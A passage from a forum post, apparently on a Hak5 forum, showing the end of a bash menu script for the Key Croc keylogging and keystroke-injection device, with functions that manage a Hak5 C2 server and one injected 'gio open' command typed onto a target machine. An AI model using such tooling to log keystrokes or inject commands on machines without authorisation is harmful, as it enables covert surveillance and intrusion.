                      Q STRING "gio open http://$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
                      Q ENTER
                      sleep 3
                      Q ALT-TAB
                      sleep 1
                      Q ALT-F4;;                      
esac
fi
}

reload_cloud() {
	systemctl daemon-reload && systemctl start hak5.service
	sleep 5
	systemctl status hak5.service
	sleep 5
}

remove_cloud() {
	rm -r /var/hak5c2
	rm /usr/local/bin/c2-3.1.2_armv7_linux
	rm /etc/systemd/system/hak5.service
}
MenuTitle HAK5 C2 MENU
MenuColor 1 HAK5 C2 SETUP ; echo -ne "     ${clear}\n"
MenuColor 2 START HAK5 C2 ; echo -ne "     ${clear}\n"
MenuColor 3 RELOAD HAK5 C2 ; echo -ne "    ${clear}\n"
MenuColor 4 RESTART HAK5 C2 ; echo -ne "   ${clear}\n"
MenuColor 5 STOP HAK5 C2 ; echo -ne "      ${clear}\n"
MenuColor 6 REMOVE HAK5 C2 ; echo -ne "    ${clear}\n"
MenuColor 7 EDIT HAK5 C2 ; echo -ne "      ${clear}\n"
MenuColor 8 RETURN TO MAIN MENU ; echo -ne "${clear}\n"
MenuEnd
        read H_C
        case $H_C in
        1) cloud_setup ; hak_cloud ;;
        2) start_web ; hak_cloud ;;
        3) reload_cloud ; hak_cloud ;;
        4) systemctl restart hak5.service ; start_web ; hak_cloud ;;
        5) systemctl stop hak5.service ; hak_cloud ;;
        6) remove_cloud ; hak_cloud ;;
        7) nano /etc/systemd/system/hak5.service ; hak_cloud ;;
        8) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; hak_cloud ;;
        esac

}

##
#   - Croc_Pot Main Menu
##

function main_menu() {
	LED B
	clear
	croc_title
MenuTitle CROC POT MAIN MENU
MenuColor 1 CROC MAIL ; echo -ne "     ${clear}\n"
MenuColor 2 CROC POT PLUS ; echo -ne "  ${clear}\n"
MenuColor 3 KEYCROC STATUS ; echo -ne "${clear}\n"
MenuColor 4 KEYCROC LOGS ; echo -ne "  ${clear}\n"
MenuColor 5 KEYCROC EDIT ; echo -ne "  ${clear}\n"
MenuColor 6 SSH MENU ; echo -ne "      ${clear}\n"
MenuColor 7 KEYCROC UPDATE ; echo -ne "${clear}\n"
MenuColor 8 RECOVERY MENU ; echo -ne " ${clear}\n"
MenuColor 9 HAK5 C2 ; echo -ne "       ${clear}\n"
MenuEnd
    read a
    case $a in
	1) croc_mail ;;
	2) croc_pot_plus ;;
	3) croc_status ;;
	4) croc_logs_mean ;;
	5) croc_edit_menu ;;
	6) ssh_menu ;;
	7) croc_update ;;
	8) croc_recovery ;;
	9) hak_cloud ;;
	0) exit 0 ;;
	*) invalid_entry ; main_menu ;;
        esac
}
main_menu
exit

 

Croc_Pot_Payload.txt

 

Croc_Pot.sh

Edited by spywill
Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...